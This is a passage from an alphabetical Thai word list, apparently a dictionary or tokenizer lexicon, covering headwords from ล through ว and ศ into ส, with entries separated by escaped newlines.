ร\\nลิเทียม\\nลิ่น\\nลิ้น\\nลินจง\\nลิ้นจี่\\nลินลา\\nลินสีด\\nลิ่นฮื้อ\\nลินิน\\nลิบ\\nลิปดา\\nลิปสติก\\nลิปิ\\nลิฟต์\\nลิเภา\\nลิ่ม\\nลิ้ม\\nลิมป์\\nลิมปนะ\\nลิลิต\\nลิว\\nลิ่ว\\nลิสง\\nลี\\nลี่\\nลี้\\nลีซอ\\nลีบ\\nลีลา\\nลีลาศ\\nลีฬหา\\nลึก\\nลึงค์\\nลืด\\nลื่น\\nลื้น\\nลืบ\\nลืม\\nลือ\\nลื่อ\\nลื้อ\\nลุ\\nลุก\\nลุง\\nลุ้ง\\nลุ่น\\nลุ้น\\nลุพธ์\\nลุ่ม\\nลุมพี\\nลุมพู\\nลุย\\nลุ่ย\\nลุ้ย\\nลู่\\nลูก\\nลูกระมาศ\\nลูกเอ็น\\nลูขะ\\nลูทีเชียม\\nลูบ\\nเลก\\nเล็ก\\nเลข\\nเลขา\\nเลขาธิการ\\nเลขานุการ\\nเล็ง\\nเล้ง\\nเล่งฮื้อ\\nเลเซอร์\\nเลฑฑุ\\nเลณฑุ\\nเลณะ\\nเล็ด\\nเลน\\nเล็น\\nเล่น\\nเลนส์\\nเล็บ\\nเลบง\\nเลปกร\\nเลปน์\\nเลเป\\nเลเพ\\nเล็ม\\nเล่ม\\nเลย\\nเลว\\nเลวง\\nเลวูโลส\\nเลศ\\nเลษฏุ\\nเล่ห์\\nเล่ห์กระเท่ห์\\nเลหลัง\\nเลหะ\\nเลอ\\nเล่อ\\nเลอะ\\nเลอะเทอะ\\nเละ\\nเละเทะ\\nเลา\\nเล่า\\nเล้า\\nเลากัย\\nเล้าโลม\\nเลาะ\\nเลิก\\nเลิ่กลั่ก\\nเลิง\\nเลิ้ง\\nเลินเล่อ\\nเลิศ\\nเลีย\\nเลียง\\nเลี่ยง\\nเลี้ยง\\nเลียงผา\\nเลียงฝ้าย\\nเลียงมัน\\nเลียน\\nเลี่ยน\\nเลียนไฟ\\nเลียบ\\nเลี่ยม\\nเลียว\\nเลี้ยว\\nเลือก\\nเลือง\\nเลื่อง\\nเลือด\\nเลือน\\nเลื่อน\\nเลื่อม\\nเลื่อย\\nเลื้อย\\nเลื่อยล้า\\nแล\\nแล่\\nแล้\\nแลก\\nแล็กเกอร์\\nแล็กโทส\\nแลง\\nแล่ง\\nแล้ง\\nแลน\\nแล่น\\nแลนทานัม\\nแลบ\\nแล้ว\\nและ\\nโล่\\nโล้\\nโลก\\nโลกเชษฐ์\\nโลกธรรม\\nโลกธาตุ\\nโลกนาถ\\nโลกบาล\\nโลกย์\\nโลกัย\\nโลกวัชชะ\\nโลกวิทู\\nโลกัตถจริยา\\nโลกันตร์\\nโลกา\\nโลกาธิบดี\\nโลกาธิปไตย\\nโลกานุวัตร\\nโลกาภิวัตน์\\nโลกามิส\\nโลกายัต\\nโลกาวินาศ\\nโลกิยะ\\nโลกีย์\\nโลกียวัตร\\nโลกียวิสัย\\nโลกียสุข\\nโลกุตระ\\nโลกุตรธรรม\\nโลกุตรภูมิ\\nโลง\\nโล่ง\\nโล้ง\\nโล่งโจ้ง\\nโล่งโต้ง\\nโล้งโต้ง\\nโลจนะ\\nโลณะ\\nโลด\\nโล่ติ๊น\\nโลโต\\nโลท\\nโลน\\nโล้น\\nโลภ\\nโลม\\nโลมเล้า\\nโลมะ\\nโลมา\\nโลลุป\\nโลเล\\nโลโล\\nโลโล้\\nโลหะ\\nโลหกุมภี\\nโลหัช\\nโลหิต\\nไล่\\nไล้\\nไลย\\nไลลา\\nไล่เลี่ย\\nฦๅ\\nฦๅชา\\nฦๅสาย\\nวก\\nวง\\nวงก์\\nวงกต\\nวงศ์\\nวงศกร\\nวงศา\\nวงษ์\\nวจนะ\\nวจี\\nวชิระ\\nวชิรปาณี\\nวชิรหัตถ์\\nวชิราวุธ\\nวฏะ\\nวฏาการ\\nวณิช\\nวณิชชา\\nวณิชย์\\nวณิชยา\\nวณิพก\\nวดี\\nวทนะ\\nวทัญญุตา\\nวทัญญู\\nวธุกา\\nวธู\\nวน\\nวนศาสตร์\\nวนสณฑ์\\nวนสัณฑ์\\nวนอุทยาน\\nวนัส\\nวนัสบดี\\nวนา\\nวนาดร\\nวนาดอน\\nวนานต์\\nวนาลัย\\nวนาลี\\nวนาวาส\\nวนาศรม\\nวนาสณฑ์\\nวนาสัณฑ์\\nวนิดา\\nวนิพก\\nวเนจร\\nวโนทยาน\\nวยัคฆ์\\nวยากรณ์\\nวรดนู\\nวรทาน\\nวรมหาวิหาร\\nวรงค์\\nวรณะ\\nวรรค\\nวรรคย์\\nวรรช\\nวรรชย์\\nวรรณะ\\nวรรณกรรม\\nวรรณคดี\\nวรรณยุกต์\\nวรรณยุต\\nวรรณศิลป์\\nวรรณนา\\nวรรณพฤติ\\nวรรณึก\\nวรรธกะ\\nวรรธนะ\\nวรรษ\\nวรรษา\\nวรวิหาร\\nวรัญญู\\nวรางคณา\\nวรางคนา\\nวราห์\\nวราหะ\\nวรุณ\\nวโรดม\\nวฤก\\nวลัช\\nวลัญช์\\nวลัญชน์\\nวลัย\\nวลาหก\\nวลี\\nวศค\\nวศะ\\nวศิน\\nวสนะ\\nวสภะ\\nวสละ\\nวสวัดดี\\nวสวัตตี\\nวสะ\\nวสันต์\\nวสันตดิลก\\nวสันตฤดู\\nวสันตวิษุวัต\\nวสา\\nวสี\\nวสุ\\nวสุธา\\nวสุนธรา\\nวสุมดี\\nวหะ\\nวอ\\nวอก\\nวอกแวก\\nว่องไว\\nวอด\\nวอน\\nว่อน\\nว็อบ\\nวอมแวม\\nวอลเลย์บอล\\nวอแว\\nวะ\\nวัก\\nวักกะ\\nวัคคีย์\\nวัคคุ\\nวัคซีน\\nวัง\\nวังก์\\nวังชา\\nวังเวง\\nวังศะ\\nวังสะ\\nวัจจะ\\nวัจกุฎี\\nวัจฉละ\\nวัจน์\\nวัช\\nวัชชะ\\nวัชพืช\\nวัชฌ์\\nวัชระ\\nวัชรปาณี\\nวัชรยาน\\nวัชรอาสน์\\nวัชราสน์\\nวัชรินทร์\\nวัชรี\\nวัชเรนทร์\\nวัฏ\\nวัฏฏะ\\nวัฏจักร\\nวัฏทุกข์\\nวัฏสงสาร\\nวัฏกะ\\nวัฏฏิ\\nวัฒกะ\\nวัฒกี\\nวัฒนธรรม\\nวัฒนะ\\nวัฒนา\\nวัณ\\nวัณโรค\\nวัณฏ์\\nวัณณะ\\nวัณนา\\nวัด\\nวัต\\nวัตต์\\nวัตตา\\nวัตถ์\\nวัตถาภรณ์\\nวัตถาลังการ\\nวัตถุ\\nวัตนะ\\nวัตร\\nวัตสดร\\nวัตสะ\\nวัติ\\nวัทน์\\nวัน\\nวันต์\\nวันทนา\\nวันทนาการ\\nวันทนีย์\\nวันทยหัตถ์\\nวันทยาวุธ\\nวันทา\\nวันทิ\\nวับ\\nวับวาบ\\nวับวาม\\nวับแวบ\\nวับแวม\\nวัปปะ\\nวัมมิกะ\\nวัย\\nวัลก์\\nวัลคุ\\nวัลย์\\nวัลลภ\\nวัลลี\\nวัว\\nวัสสะ\\nวัสโสทก\\nวัสดุ\\nวัสตร์\\nวัสน์\\nวัสนะ\\nวัสสานะ\\nวัสสานฤดู\\nวา\\nว่า\\nว้า\\nว้าเหว่\\nวาก\\nว้าก\\nวากยสัมพันธ์\\nวากยะ\\nวาง\\nว่าง\\nว้าง\\nวาจก\\nวาจา\\nวาจาไปยะ\\nวาจาล\\nวาชเปยะ\\nวาณิช\\nวาณิชกะ\\nวาณิชย์\\nวาณี\\nวาด\\nวาต\\nวาตะ\\nวาตภัย\\nวาท\\nวาทศาสตร์\\nวาทศิลป์\\nวาทกะ\\nวาทนะ\\nวาทย์\\nวาทยกร\\nวาทิต\\nวาทิน\\nวาที\\nวาน\\nวานซืน\\nว่าน\\nวานร\\nวานรินทร์\\nวาเนเดียม\\nวาบ\\nวาปี\\nวาม\\nวามน\\nวามนาวตาร\\nวามะ\\nวาย\\nว่าย\\nว้าย\\nวายะ\\nวาโย\\nวายามะ\\nวายุ\\nวายุกูล\\nวาร\\nวาระ\\nวารสาร\\nวารสารศาสตร์\\nวาริ\\nวารี\\nวาริช\\nวารีช\\nวาริท\\nวาริธร\\nวารุณ\\nวารุณี\\nวาล\\nวาลวีชนี\\nวาล์ว\\nวาลิกา\\nวาลุกา\\nวาว\\nว่าว\\nว้าว่อน\\nว้าวุ่น\\nวาสนะ\\nวาสนา\\nวาสพ\\nวาสะ\\nวาสิน\\nวาสี\\nวาสุกรี\\nวาสุกี\\nวาสุเทพ\\nวาหนะ\\nวาหะ\\nวาหินี\\nวาฬ\\nวิกขัมภ์\\nวิกขัมภนะ\\nวิกเขป\\nวิกรม\\nวิกรัย\\nวิกรานต์\\nวิกฤต\\nวิกฤติ\\nวิกล\\nวิกสิต\\nวิกัต\\nวิกัติ\\nวิกัติการก\\nวิกัป\\nวิกัย\\nวิการ\\nวิกาล\\nวิกาลโภชน์\\nวิคหะ\\nวิเคราะห์\\nวิฆเนศ\\nวิฆเนศวร\\nวิฆาต\\nวิง\\nวิ่ง\\nวิ่งเปี้ยว\\nวิงวอน\\nวิจฉิกะ\\nวิจล\\nวิจักขณ์\\nวิจักษ์\\nวิจักษณ์\\nวิจัย\\nวิจาร\\nวิจารณ์\\nวิจารณญาณ\\nวิจิ\\nวิจิกิจฉา\\nวิจิต\\nวิจิตร\\nวิจิน\\nวิจุณ\\nวิจุรณ\\nวิชชา\\nวิชชุ\\nวิชชุดา\\nวิชชุตา\\nวิชชุลดา\\nวิชญะ\\nวิชน\\nวิชนี\\nวิชย\\nวิชัย\\nวิชา\\nวิชานนะ\\nวิชิต\\nวิเชียร\\nวิญญัตติ\\nวิญญาณ\\nวิญญาณกทรัพย์\\nวิญญู\\nวิฑูรย์\\nวิด\\nวิตก\\nวิตถาร\\nวิตามิน\\nวิถี\\nวิทธะ\\nวิทยฐานะ\\nวิทยา\\nวิทยาคม\\nวิทยาคาร\\nวิทยาลัย\\nวิทยุ\\nวิทยุต\\nวิทวัส\\nวิทัตถิ\\nวิทัศน์\\nวิทารณ์\\nวิทิต\\nวิทู\\nวิทูร\\nวิเทศ\\nวิเทโศบาย\\nวิธ\\nวิธวา\\nวิธาน\\nวิธี\\nวิธุระ\\nวิธู\\nวิธูปนะ\\nวิ่น\\nวินตกะ\\nวินัย\\nวินาที\\nวินายก\\nวินาศ\\nวินิจ\\nวินิจฉัย\\nวินิต\\nวินิบาต\\nวินิปาติก\\nวิเนต\\nวิบัติ\\nวิบาก\\nวิบุล\\nวิบุลย์\\nวิบูล\\nวิบูลย์\\nวิปการ\\nวิปฏิสาร\\nวิปโยค\\nวิประโยค\\nวิปริต\\nวิปลาส\\nวิปวาส\\nวิปักษ์\\nวิปัสสก\\nวิปัสสนา\\nวิปัสสนายานิก\\nวิพากษ์\\nวิพิธทัศนา\\nวิพุธ\\nวิภว\\nวิภวตัณหา\\nวิภังค์\\nวิภัช\\nวิภัตติ\\nวิภา\\nวิภาค\\nวิภาช\\nวิภาดา\\nวิภาวี\\nวิภาษ\\nวิภาส\\nวิภู\\nวิภูษณะ\\nวิภูษา\\nวิภูษิต\\nวิมน\\nวิมล\\nวิมลัก\\nวิมังสา\\nวิมัติ\\nวิมาน\\nวิมุข\\nวิมุต\\nวิมุตติ\\nวิเมลือง\\nวิโมกข์\\nวิโยค\\nวิระ\\nวิรงรอง\\nวิรังรอง\\nวิรัช\\nวิรัต\\nวิรัติ\\nวิราคะ\\nวิราม\\nวิริยภาพ\\nวิริยะ\\nวิรุธ\\nวิรุฬห์\\nวิรุฬหก\\nวิรูป\\nวิรูปักษ์\\nวิเรนทร์\\nวิโรจ\\nวิโรจน์\\nวิโรฒ\\nวิโรธ\\nวิลันดา\\nวิลัย\\nวิลาด\\nวิลาศ\\nวิลาป\\nวิลาวัณย์\\nวิลาส\\nวิลาสินี\\nวิลิปดา\\nวิลิศมาหรา\\nวิเลป\\nวิเลปนะ\\nวิโลกนะ\\nวิโลม\\nวิไล\\nวิไลวรรณ\\nวิวรณ์\\nวิวรรธน์\\nวิวัฏ\\nวิวัฒน์\\nวิวัฒนาการ\\nวิวัน\\nวิวาท\\nวิวาห์\\nวิวาหมงคล\\nวิวาหะ\\nวิวิต\\nวิวิธ\\nวิเวก\\nวิศรุต\\nวิศว\\nวิศวกร\\nวิศวกรรม\\nวิศวกรรมศาสตร์\\nวิศัลย์\\nวิศาขบูชา\\nวิศาขา\\nวิศาล\\nวิศิษฏ์\\nวิศุทธ์\\nวิศุทธิ์\\nวิเศษ\\nวิเศษณ์\\nวิษณุ\\nวิษณุกรรม\\nวิษธร\\nวิษัย\\nวิษาณ\\nวิษุวัต\\nวิสกี้\\nวิสรรชนีย์\\nวิสฤต\\nวิสสุกรรม\\nวิสัชนา\\nวิสัญญี\\nวิสัย\\nวิสัยทัศน์\\nวิสาขบูชา\\nวิสาขะ\\nวิสาขา\\nวิสามัญ\\nวิสามานยนาม\\nวิสาร\\nวิสารทะ\\nวิสาล\\nวิสาสะ\\nวิสาหกิจ\\nวิสิฐ\\nวิสุงคามสีมา\\nวิสุทธ์\\nวิสุทธิ์\\nวิสูตร\\nวิเสท\\nวิหค\\nวิหลั่น\\nวิหาร\\nวิหิงสา\\nวิเหสา\\nวิฬาร\\nวิฬาร์\\nวี\\nวีจิ\\nวีชนี\\nวีณา\\nวี้ด\\nวีรกรรม\\nวีรชน\\nวีรบุรุษ\\nวีรสตรี\\nวี่วัน\\nวี่แวว\\nวีสะ\\nวุ้ง\\nวุฐิ\\nวุฒ\\nวุฒิ\\nวุด\\nวุ่น\\nวุ้น\\nวุบ\\nวุ้ย\\nวุลแฟรม\\nวู้\\nวูดวาด\\nวูบ\\nวู่วาม\\nเว้\\nเวค\\nเวคิน\\nเวคี\\nเวจ\\nเวช\\nเวชยันต์\\nเวฐน์\\nเวณิ\\nเวณิก\\nเวณุ\\nเวตน์\\nเวตร\\nเวตาล\\nเวท\\nเวทคู\\nเวทนา\\nเวทย์\\nเวทัลละ\\nเวทางค์\\nเวทางคศาสตร์\\nเวทานต์\\nเวทานตะ\\nเวทิ\\nเวที\\nเวธะ\\nเวน\\nเว้น\\nเวนไตย\\nเวไนย\\nเวมัต\\nเว้ย\\nเวยยากรณะ\\nเวร\\nเวรมณี\\nเวรี\\nเวโรจน์\\nเวลา\\nเวเลนซี\\nเวศม์\\nเวศย์\\nเวศยา\\nเวสน์\\nเวสภู\\nเวสม์\\nเวสวัณ\\nเวสสะ\\nเวสสันดร\\nเวสสุกรรม\\nเวสสุวัณ\\nเวสารัช\\nเวสิยา\\nเวหน\\nเวหะ\\nเวหา\\nเวหาส\\nเวฬุ\\nเวฬุริยะ\\nเว่อ\\nเว้า\\nเวิก\\nเวิ้ง\\nเวี่ย\\nเวียง\\nเวียด\\nเวียดนาม\\nเวียน\\nเวียร\\nเวี่ยว\\nแว้\\nแวง\\nแว้ง\\nแวด\\nแว้ด\\nแวน\\nแว่น\\nแวนดา\\nแวบ\\nแว็บ\\nแวม\\nแว็ม\\nแวว\\nแว่ว\\nแวะ\\nโว\\nโว่\\nโวการ\\nโว่ง\\nโวทาน\\nโวย\\nโว้ย\\nโว้เว้\\nโวหาร\\nไว\\nไว้\\nไวกูณฐ์\\nไวฑูรย์\\nไวทย์\\nไวน์\\nไวพจน์\\nไวยากรณ์\\nไวยาวัจกร\\nไวยาวัจมัย\\nไวรัส\\nไววรรณ\\nไวษณพ\\nไวโอลิน\\nศก\\nศกุน\\nศกุนต์\\nศกุนิ\\nศกุนี\\nศจี\\nศตะ\\nศตภิษัช\\nศตวรรษ\\nศตพรรษ\\nศตกะ\\nศนิ\\nศพ\\nศมนะ\\nศมะ\\nศยาม\\nศยามล\\nศร\\nศรายุธ\\nศราวรณ์\\nศรรกรา\\nศรวณะ\\nศรวณีย์\\nศรวิษฐา\\nศรัณย์\\nศรัณยู\\nศรัท\\nศรัทธา\\nศรัย\\nศราทธ์\\nศราทธพรต\\nศราพก\\nศราวก\\nศราวณะ\\nศรี\\nศรีตรัง\\nศรุติ\\nศฤคาล\\nศฤงค์\\nศฤงคาร\\nศฤงคาริน\\nศฤงคารี\\nศลิษฏ์\\nศลิษา\\nศวะ\\nศวัส\\nศวา\\nศวาน\\nศศะ\\nศศธร\\nศศพินทุ์\\nศศลักษณ์\\nศศิ\\nศศิน\\nศศี\\nศศิขัณฑ์\\nศศิธร\\nศศิมณฑล\\nศศิวิมล\\nศอ\\nศอก\\nศักดา\\nศักดิ\\nศักดิ์\\nศักดินา\\nศักติ\\nศักย\\nศักยภาพ\\nศักย์\\nศักยะ\\nศักร\\nศักรินทร์\\nศักเรนทร์\\nศักราช\\nศังกร\\nศัตรู\\nศันสนะ\\nศันสนีย์\\nศัพท์\\nศัยยา\\nศัล\\nศัลย์\\nศัลยกรรม\\nศัลยแพทย์\\nศัลยศาสตร์\\nศัสดร\\nศัสตร\\nศัสตรศาสตร์\\nศัสตรา\\nศัสตราวุธ\\nศากตะ\\nศากย\\nศากยะ\\nศากยพุทธ\\nศากยมุนี\\nศาฎก\\nศาณ\\nศานต์\\nศานติ\\nศาป\\nศารท\\nศารทูล\\nศาริกา\\nศาล\\nศาลา\\nศาศวัต\\nศาสดา\\nศาสตร์\\nศาสตรา\\nศาสตราจารย์\\nศาสนา\\nศาสนกิจ\\nศาสนจักร\\nศาสนธรรม\\nศาสนบุคคล\\nศาสนพิธี\\nศาสนวัตถุ\\nศาสนศาสตร์\\nศาสนสถาน\\nศาสนสมบัติ\\nศาสนิกชน\\nศาสนีย์\\nศาสนูปถัมภก\\nศาสน์\\nศิกษก\\nศิการ\\nศิขร\\nศิขริน\\nศิขรี\\nศิขัณฑ์\\nศิคาล\\nศิงขร\\nศิงขริน\\nศิตะ\\nศิถี\\nศิพิระ\\nศิระ\\nศิรประภา\\nศิราภรณ์\\nศิโรรัตน์\\nศิโรเวฐน์\\nศิรา\\nศิรามพุช\\nศิโรราบ\\nศิลป\\nศิลป์\\nศิลปะ\\nศิลปกร\\nศิลปกรรม\\nศิลปกิจ\\nศิลปวัตถุ\\nศิลปวิทยา\\nศิลปศาสตร์\\nศิลปศึกษา\\nศิลปหัตถกรรม\\nศิลปิน\\nศิลปี\\nศิลา\\nศิวะ\\nศิวโมกข์\\nศิวลึงค์\\nศิวเวท\\nศิวาลัย\\nศิศีระ\\nศิษฎิ\\nศิษฏ์\\nศิษย์\\nศิษยานุศิษย์\\nศีขร\\nศีต\\nศีตกาล\\nศีรษะ\\nศีล\\nศึก\\nศึกษา\\nศึกษาธิการ\\nศึกษานิเทศก์\\nศุกร์\\nศุกรวรรณ\\nศุกรวาร\\nศุกระ\\nศุกล\\nศุกลปักษ์\\nศุจิ\\nศุทธะ\\nศุทธิ\\nศุนะ\\nศุนิ\\nศุภกร\\nศุภเคราะห์\\nศุภนิมิต\\nศุภมัสดุ\\nศุภมาตรา\\nศุภมาส\\nศุภอักษร\\nศุภางค์\\nศูกร\\nศุลกากร\\nศุลการักษ์\\nศุลี\\nศุษิร\\nศูทร\\nศูนย์\\nศูนยวาท\\nศูละ\\nศูลิน\\nเศรณี\\nเศรษฐ\\nเศรษฐ์\\nเศรษฐกิจ\\nเศรษฐศาสตร์\\nเศรษฐี\\nเศร้า\\nเศลษ\\nเศวต\\nเศวตร\\nเศวตัมพร\\nเศษ\\nเศาจ\\nเศาร์\\nเศารยะ\\nเศิก\\nเศียร\\nโศก\\nโศกา\\nโศกาดูร\\nโศกาลัย\\nโศกี\\nโศจิ\\nโศธนะ\\nโศภน\\nโศภะ\\nโศภา\\nโศภิต\\nโศภิน\\nโศภิษฐ์\\nโศภี\\nโศรดา\\nโศรตร\\nโศลก\\nไศล\\nไศวะ\\nษมา\\nษัฏ\\nษัฑ\\nษัณ\\nษัษ\\nษัษฐะ\\nษัษฐี\\nโษฑศัน\\nสก\\nสกวาที\\nสกฏะ\\nสกทาคามิผล\\nสกิทาคามิผล\\nสกทาคามิมรรค\\nสกิทาคามิมรรค\\nสกทาคามี\\nสกิทาคามี\\nสกนธ์\\nสกปรก\\nสกรณีย์\\nสกรรจ์\\nสกรรมกริยา\\nสกล\\nสกลมหาสังฆปริณายก\\nสกัด\\nสกา\\nสกาว\\nสกี\\nสกุณ\\nสกุณา\\nสกุณี\\nสกุน\\nสกุนต์\\nสกุล\\nสเกต\\nสแกนเดียม\\nสขะ\\nสง\\nส่ง\\nสงกร\\nสงกรานต์\\nสงกา\\nสงค์\\nสงคร\\nสงคราม\\nสงเคราะห์\\nสงฆ์\\nสงบ\\nสงวน\\nส่งสการ\\nสงสัย\\nสงสาร\\nสงสารวัฏ\\nสงัด\\nสง่า\\nสฐะ\\nสณฑ์\\nสด\\nสดมภ์\\nสดับ\\nสดับปกรณ์\\nสดำ\\nสดุดี\\nสตะ\\nสตน\\nสตภิสชะ\\nสตรอนเชียม\\nสตริกนิน\\nสตรี\\nสตัฟฟ์\\nสตัมภ์\\nสตางค์\\nสติ\\nสติปัฏฐาน\\nสตี\\nสตู\\nสตูป\\nสเต๊ก\\nสถบดี\\nสถล\\nสถวีระ\\nสถาน\\nสถานะ\\nสถานี\\nสถาบัน\\nสถาปนา\\nสถาปนิก\\nสถาปัตยกรรม\\nสถาปัตยกรรมศาสตร์\\nสถาปัตยเรขา\\nสถาปัตยเวท\\nสถาพร\\nสถาวร\\nสถิต\\nสถิตยศาสตร์\\nสถิติ\\nสถิร\\nสถีรวาท\\nสถุล\\nสถูป\\nสทิง\\nสทึง\\nสทุม\\nสธนะ\\nสาธุสะ\\nสน\\nส้น\\nสนทนา\\nสนทรรศ\\nสนทรรศน์\\nสนเทศ\\nสนเท่ห์\\nสนธยา\\nสนธิ\\nสนน\\nสนม\\nสนวน\\nสนอง\\nสนอบ\\nสนอม\\nสนะ\\nสนัด\\nสนั่น\\nสนับ\\nสนับทึบ\\nสนับสนุน\\nสนาน\\nสนาม\\nสนายุ\\nสนิกะ\\nสนิท\\nสนิธ\\nสนิม\\nสนุก\\nสนุกเกอร์\\nสนุข\\nสนุต\\nสนุ่น\\nสบ\\nสบง\\nสบถ\\nสบัน\\nสบาย\\nสบู่\\nสไบ\\nสปริง\\nสปอร์\\nสปาเกตตี\\nสเปกตรัม\\nสเปกโทรสโกป\\nสไปริลลัม\\nสพาบ\\nสภา\\nสภาพ\\nสภาวการณ์\\nสภาวะ\\nสม\\nสมการ\\nสมจารี\\nสมดุล\\nสมมูล\\nส้ม\\nสมญา\\nสมณะ\\nสมณบริขาร\\nสมณศักดิ์\\nสมณสารูป\\nสมเด็จ\\nสมถะ\\nสมถยานิก\\nสมถวิปัสสนา\\nสมนาคุณ\\nสมบัติ\\nสมบุกสมบัน\\nสมบูรณ์\\nสมบูรณาญาสิทธิราชย์\\nสมประดี\\nสมปฤดี\\nสมปฤๅดี\\nส้มป่อย\\nสมปัก\\nสมผุส\\nสมพง\\nสมพงศ์\\nสมพล\\nสมพัตสร\\nสมพาส\\nสมเพช\\nสมโพธน์\\nสมโพธิ\\nสมภพ\\nสมภาร\\nสมโภค\\nสมโภช\\nสมมต\\nสมมติ\\nสมมุติ\\nสมมาตร\\nส้มมือ\\nสมโมท\\nสมโยค\\nสมร\\nสมรด\\nสมรรถ\\nสมรรถนะ\\nสมรรถภาพ\\nสมรส\\nสมฤดี\\nสมฤติ\\nสมวายะ\\nสมเสร็จ\\nสมอ\\nสมอง\\nสมะ\\nสมัคร\\nสมังคี\\nสมัช\\nสมัชชา\\nสมัญญา\\nสมัต\\nสมัน\\nสมันต์\\nสมัย\\nสมา\\nสมาคม\\nสมาจาร\\nสมาชิก\\nสมาทาน\\nสมาธิ\\nสมาน\\nสมานฉันท์\\nสมาบัติ\\nสมาพันธรัฐ\\nสมาส\\nสม่ำเสมอ\\nสมิง\\nสมิต\\nสมิติ\\nสมิทธ์\\nสมิทธิ\\nสมี\\nสมุก\\nสมุจจัย\\nสมุจเฉท\\nสมุฏฐาน\\nสมุด\\nสมุทร\\nสมุทรโคดม\\nสมุทัย\\nสมุน\\nสมุนไพร\\nสมุลแว้ง\\nสมุห\\nสมุห์\\nสมุหกลาโหม\\nสมุหเทศาภิบาล\\nสมุหนาม\\nสมุหนายก\\nสโมธาน\\nสโมสร\\nสยด\\nสยนะ\\nสยบ\\nสยมพร\\nสยมภู\\nสยอง\\nสยอน\\nสยัมวรา\\nสยาม\\nสยามานุสติ\\nสยามินทร์\\nสยาย\\nสยิว\\nสยิ้ว\\nสยุมพร\\nสยุมภู\\nสร\\nสรง\\nสร่ง\\nสรณะ\\nสรณคมน์\\nสรณาคมน์\\nสรณตรัย\\nสรตะ\\nสรทะ\\nสรนุก\\nสรเนาะ\\nสรไน\\nสรเพชญ\\nสรภะ\\nสรภัญญะ\\nสรภู\\nสรม\\nสรร\\nสรรค์\\nสรรพ\\nสรรพคุณ\\nสรรพนาม\\nสรรพสามิต\\nสรรพัชญ\\nสรรพากร\\nสรรพางค์\\nสรรเพชญ\\nสรรเพชุดา\\nสรรเสริญ\\nสรลอน\\nสรเลข\\nสรวง\\nสรวม\\nสรวล\\nสรเสริญ\\nสร้อย\\nสระ\\nสระกอ\\nสระท้อน\\nสระพรั่ง\\nสระอาด\\nสรั่ง\\nสรัสวดี\\nสร่าง\\nสร้าง\\nสราญ\\nสรี้\\nสรีระ\\nสรีรกิจ\\nสรีรธาตุ\\nสรีรวิทยา\\nสรีรศาสตร์\\nสรีรังคาร\\nสรีรางคาร\\nสรุป\\nสโรช\\nสโรชะ\\nสฤก\\nสฤต\\nสฤษฎิ\\nสฤษฎี\\nสฤษฏ์\\nสฤษดิ์\\nสลด\\nสลบ\\nสลวน\\nสลวย\\nสลอด\\nสลอน\\nสลอย\\nสละ\\nสลัก\\nสลัด\\nสลัดได\\nสลับ\\nสลัว\\nสลา\\nสลาก\\nสลาง\\nสล้าง\\nสลาด\\nสลาตัน\\nสลาบ\\nสลาย\\nสลิด\\nสลิล\\nสลึก\\nสลึง\\nสลุต\\nสลุบ\\nสลุมพร\\nสแลง\\nสวการย์\\nสวภาพ\\nสวราชย์\\nสวก\\nส้วง\\nสวด\\nสวน\\nสวนะ\\nสวนาการ\\nส่วน\\nสวนิต\\nสวบ\\nสวม\\nส้วม\\nสวย\\nส่วย\\nส้วย\\nสวยม\\nสวรรค\\nสวรรค์\\nสวรรคต\\nสวรรคาลัย\\nสวรรยา\\nสวระ\\nสวะ\\nสวัสดิ\\nสวัสดิ์\\nสวัสดิการ\\nสวัสดิภาพ\\nสวัสดิมงคล\\nสวัสดี\\nสวัสติ\\nสวาตี\\nสวัสติกะ\\nสวา\\nสวาปาม\\nสวาคตะ\\nสวาง\\nสว่าง\\nสวาด\\nสวาดิ\\nสวาท\\nสว่าน\\nสว้าน\\nสวาบ\\nสวามิ\\nสวามี\\nสวามินี\\nสวาย\\nสวาสดิ์\\nสวาหะ\\nสวิง\\nสวิญญาณกทรัพย์\\nสวิตช์\\nสสาร\\nสสุระ\\nสสุรี\\nสหกรณ์\\nสหการ\\nสหจร\\nสหชาต\\nสหชาติ\\nสหธรรม\\nสหธรรมิก\\nสหประชาชาติ\\nสหพันธ์\\nสหพันธรัฐ\\nสหภาพ\\nสหศึกษา\\nสหัช\\nสหัมบดี\\nสหัส\\nสหัสสะ\\nสหัสธารา\\nสหัสนัยน์\\nสหัสเนตร\\nสหัสรังสี\\nสหัสา\\nสหาย\\nสอ\\nส่อ\\nสอง\\nส่อง\\nส้อง\\nสอด\\nสอน\\nส่อน\\nสอบ\\nสอพลอ\\nส้อม\\nสอย\\nสะ\\nสะกด\\nสะกอ\\nสะกาง\\nสะการะ\\nสะกิด\\nสะกิดสะเกา\\nสะเก็ด\\nสะแก\\nสะคร้อ\\nสะคราญ\\nสะค้าน\\nสะเงาะสะแงะ\\nสะดม\\nสะดวก\\nสะดิ้ง\\nสะดึง\\nสะดือ\\nสะดุ้ง\\nสะดุด\\nสะเด็ด\\nสะเดา\\nสะเดาะ\\nสะตอ\\nสะตาหมัน\\nสะตึ\\nสะตือ\\nสะตุ\\nสะเต๊ะ\\nสะโตก\\nสะทก\\nสะท้อน\\nสะท้าน\\nสะทึก\\nสะเทิน\\nสะเทิ้น\\nสะเทือน\\nสะเทื้อน\\nสะบะ\\nสะบัก\\nสะบักสะบอม\\nสะบัด\\nสะบัดสะบิ้ง\\nสะบั้น\\nสะบันงา\\nสะบ้า\\nสะบู\\nสะแบง\\nสะเปะสะปะ\\nสะพรั่ง\\nสะพรึงกลัว\\nสะพรึบ\\nสะพรึ่บ\\nสะพัก\\nสะพัง\\nสะพัด\\nสะพั้น\\nสะพาน\\nสะพาย\\nสะเพร่า\\nสะโพก\\nสะเภา\\nสะใภ้\\nสะโมง\\nสะระตะ\\nสะระแหน่\\nสะลาง\\nสะลาบ\\nสะลึมสะลือ\\nสะวี้ดสะว้าด\\nสะสม\\nสะสวย\\nสะสาง\\nสะเหล่อ\\nสะอาง\\nสะอาด\\nสะอ้าน\\nสะอิ้ง\\nสะอิดสะเอียน\\nสะอึก\\nสะอื้น\\nสะเอ้ง\\nสะเอว\\nสะเออะ\\nสะโอดสะอง\\nสะไอ\\nสัก\\nสักกะ\\nสักยะ\\nสักกัจจะ\\nสักกายทิฐิ\\nสักการ\\nสักการะ\\nสักขี\\nสักวา\\nสักหลาด\\nสัค\\nสัคคะ\\nสั่ง\\nสังกร\\nสังกรณี\\nสังกรประโยค\\nสังกะตัง\\nสังกะวัง\\nสังกะวาด\\nสังกะสี\\nสังกัด\\nสังกัปปะ\\nสังกา\\nสังการ\\nสังกาศ\\nสังกิเลส\\nสังเกต\\nสังข์\\nสังขกร\\nสังขตธรรม\\nสั